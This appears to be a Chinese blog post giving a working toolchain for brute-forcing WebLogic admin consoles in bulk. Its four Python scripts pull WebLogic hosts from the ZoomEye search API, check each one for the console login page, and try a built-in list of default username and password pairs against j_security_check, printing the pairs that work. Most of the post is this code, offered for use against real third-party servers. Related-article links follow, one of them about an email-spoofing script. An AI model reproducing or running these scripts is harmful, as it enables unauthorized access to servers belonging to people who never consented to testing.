前言:


整理笔记的时候,发现了weblogic的攻击方法。心里打着算盘看看怎么写

个批量的弱口令爆破脚本。得出了以下思路

思路:

1.利用钟馗之眼采集weblogic的网站,将IP写入到txt

2.添加后台路径,判断是否能成功连接,并且没有过滤表里面的错误。写入到txt

3.转换路径,将后台路径转换为表单请求的路径写入到txt

4.判断是账号和密码是否成功

详细思路请参考:https://www.jianshu.com/p/e97b109ace40 (同时也是一份攻击weblogic服务的好文章)

代码:

weblogicpass.py

import requests

def zoomeye():
sjian=open('save.txt','w')
sjian.close() data={"username":"钟馗之眼的登录邮箱","password":"钟馗之眼的登录密码"}
url='https://api.zoomeye.org/user/login'
login=requests.post(url=url,json=data)
access_token=login.json()['access_token'] logheaders={'Authorization':'JWT'+' '+access_token}
for x in range(10):
print('[+]page is {}'.format(x))
url2s='https://api.zoomeye.org/host/search?query=app:weblogic&page={}'.format(x)
rest2=requests.get(url=url2s,headers=logheaders)
vd=rest2.json()['matches'][0:]
for q in vd:
sj='IP:',q['ip'],'Port:',q['portinfo']['port'],'App:',q['portinfo']['app']
print(sj)
print(sj,file=open('save.txt','a'))
zoomeye()

weblogicjiexi.py

import requests
import re
def jx():
xj=open('save2.txt','w')
xj.close() error=['','Not Found','不存在','']
ok=[]
headers = {'user-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36'}
kew = open('save.txt', 'r')
for p in kew.readlines():
we = "".join(p.split('\n'))
pow = re.findall('(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)',we)
for i in pow:
pd = '{}'.format(i).replace('(', '').replace(')', '').replace("'", '').replace(',', '.').replace(' ', '')
try:
rsc=requests.get(url='http://{}/console/login/LoginForm.jsp'.format(pd),headers=headers,timeout=1.1)
for e in error:
if rsc.status_code==200 and rsc.text not in e:
ok.append(rsc.url) except: pass id = list(set(ok))
for p in id:
lk=re.findall('.*/console/login/LoginForm.jsp',p)
for i in lk:
print('[+]ok url:',i+'')
print(i+'',file=open('save2.txt','a')) jx()

weblogiczhuanhuan.py

import os
import re rl=open('save3.txt','w')
rl.close() if os.path.exists('save2.txt'):
print('[+]ok save2.txt !')
else:
print('[-]Not found save2.txt')
exit() yw=open('save2.txt','r')
for e in yw.readlines():
w="".join(e.split('\n'))
yd=re.sub('/console/login/LoginForm.jsp','/console/j_security_check',w)
print(yd)
print(yd,file=open('save3.txt','a'))

weblogicbaopo.py

import requests
import threading def main(ip):
datas={}
listd=['weblogic','weblogic','weblogic','welcomel','system','password','admin','security','mary','password','joe','password','wlcsystem','wlcsystem','wlpisystem','wlpisystem','weblogic','admin','weblogic','','admin','']
url='{}'.format(ip)
headers={'user-agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36'}
for user in listd:
for passwd in listd:
data='j_username={}&j_password={}&j_character_encoding=UTF-8'.format(user,passwd)
for j in data.split('&'):
key,value=j.split('=',1)
datas[key]=value
try:
request=requests.post(url=url,headers=headers,data=datas,allow_redirects=False)
if request.status_code==302 and 'console' in request.headers['Location'] and 'LoginForm.jsp' not in request.headers['Location']:
print('[+]url:{}'.format(request.url))
print('[+]username:{}'.format(user))
print('[+]password:{}'.format(passwd))
else:
print('[-]url:{}'.format(request.url))
print('[-]Error username:{}'.format(user))
print('[-]Error password:{}'.format(passwd))
except:
pass if __name__ == '__main__':
we=open('save3.txt','r')
for w in we.readlines():
x="".join(w.split('\n'))
main(x)

测试

正在爆破某个IP的截图:

python写批量weblogic爆破脚本的更多相关文章

  1. Python Telnet弱口令爆破脚本及遇到的错误与问题

    写得时候遇到了一个很大的问题,就是我在发送用户名,接受用户名就会一直卡住.然后等了好久后提示 recv ‘\r\nSession timed out.\r\n\r\nTelnet Server has ...

  2. python写一个邮箱伪造脚本

    前言: 原本打算学php MVC的思路然后写一个项目.但是贼恶心, 写不出来.然后就还是用python写了个邮箱伪造. 0x01 第一步先去搜狐注册一个邮箱 然后,点开设置,开启SMTP服务. 当然你 ...

  3. python写的自动签到脚本。

    等以后有时间补上. 附上代码: #! /usr/bin/env python # coding:utf-8 #-----------------------------------------学号和密 ...

  4. python+paramiko库+svn写的自动化部署脚本

    第一篇博文 直接开门见山的说了. 这是件什么事?:每次部署都是复制本地的文件粘贴到服务器端,因为路径复杂,所以费时且手工容易出漏洞. 一直在想有什么办法可以解决这种,因为以前在微软的一个牛人同事做过一 ...

  5. python 写的http后台弱口令爆破工具

    今天来弄一个后台破解的Python小程序,哈哈,直接上代码吧,都有注释~~ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ...

  6. Python操作Excel_随机点菜脚本

     背景:     中午快餐,菜单吃了个遍,天天纠结于不知道点啥菜.      想起读书考试时,丢纸团选答案,于是用python写个随机点菜脚本玩玩. 功能:      菜单为Excel,一个Sheet ...

  7. Python写网络后台脚本

    Python写网络后台脚本. 首先安装Python3.6.5,在centos中自带的Python是2.6版本的,现在早就出现了3.6版本了况且2和3 之间的差距还是比较大的,所以我选择更新一下Pyth ...

  8. 「懒惰的美德」我用 python 写了个自动生成给文档生成索引的脚本

    我用 python 写了一个自动生成索引的脚本 简介:为了刷算法题,建了一个 GitHub仓库:PiperLiu / ACMOI_Journey,记录自己的刷题轨迹,并总结一下方法.心得.想到一个需求 ...

  9. Python 写了一个批量生成文件夹和批量重命名的工具

    Python 写了一个批量生成文件夹和批量重命名的工具 目录 Python 写了一个批量生成文件夹和批量重命名的工具 演示 功能 1. 可以读取excel内容,使用excel单元格内容进行新建文件夹, ...

随机推荐

  1. BZOJ4872: [Shoi2017]分手是祝愿【概率期望DP】【思维好题】

    Description Zeit und Raum trennen dich und mich. 时空将你我分开.B 君在玩一个游戏,这个游戏由 n 个灯和 n 个开关组成,给定这 n 个灯的初始状态 ...

  2. 51Nod 1067:Bash游戏 V2(巴什博弈)

    1067 Bash游戏 V2  基准时间限制:1 秒 空间限制:131072 KB 分值: 10 难度:2级算法题  收藏  关注 有一堆石子共有N个.A B两个人轮流拿,A先拿.每次只能拿1,3,4 ...

  3. POJ 3254 Corn Fields状态压缩DP

    下面有别人的题解报告,并且不止这一个状态压缩题的哦···· http://blog.csdn.net/accry/article/details/6607703 下面是我的代码,代码很挫,绝对有很大的 ...

  4. 【LGR-054】洛谷10月月赛II

    [LGR-054]洛谷10月月赛II luogu 成功咕掉Codeforces Round #517的后果就是,我\(\mbox{T4}\)依旧没有写出来.\(\mbox{GG}\) . 浏览器 \( ...

  5. 使用docusaurus 搭建开发&&api && 博客站点

    对于日常的开发系统以及产品一个简单,方便的api&&文档网站可以七很大的作用 docusaurus 是facebook开源的文档管理框架,使用它我们可以快速的创建专业. 完备的文档站点 ...

  6. Cygwin安装与使用入门

    版权声明:本文为博主原创文章,未经博主同意不得转载. https://blog.csdn.net/canlets/article/details/28646115 对于 UNIX 本身,也有各种称呼. ...

  7. TensorFlow入门教程集合

    TensorFlow入门教程之0: BigPicture&极速入门 TensorFlow入门教程之1: 基本概念以及理解 TensorFlow入门教程之2: 安装和使用 TensorFlow入 ...

  8. codevs 1131 统计单词数

    #include<iostream> #include<string> using namespace std; int main() { string s, s0; getl ...

  9. MySQL的Join使用

    在MySQL(以5.1为例)中,表连接的语法可以参见MySQL官方手册:MySQL官方手册-JOIN 在查询中,连接的语法类似 SELECT select_expr FROM table_refere ...

  10. Eclipse整合Tomcat开发Dynamic Web Project环境总结

    一.引子 习惯了MyEclipse的你是否曾想过基于Eclipse进行Dynamic Web Project项目开发呢?网上资料颇多,但是实践起来却发现总有这样那样的问题,设计Lucene搜索引擎项目 ...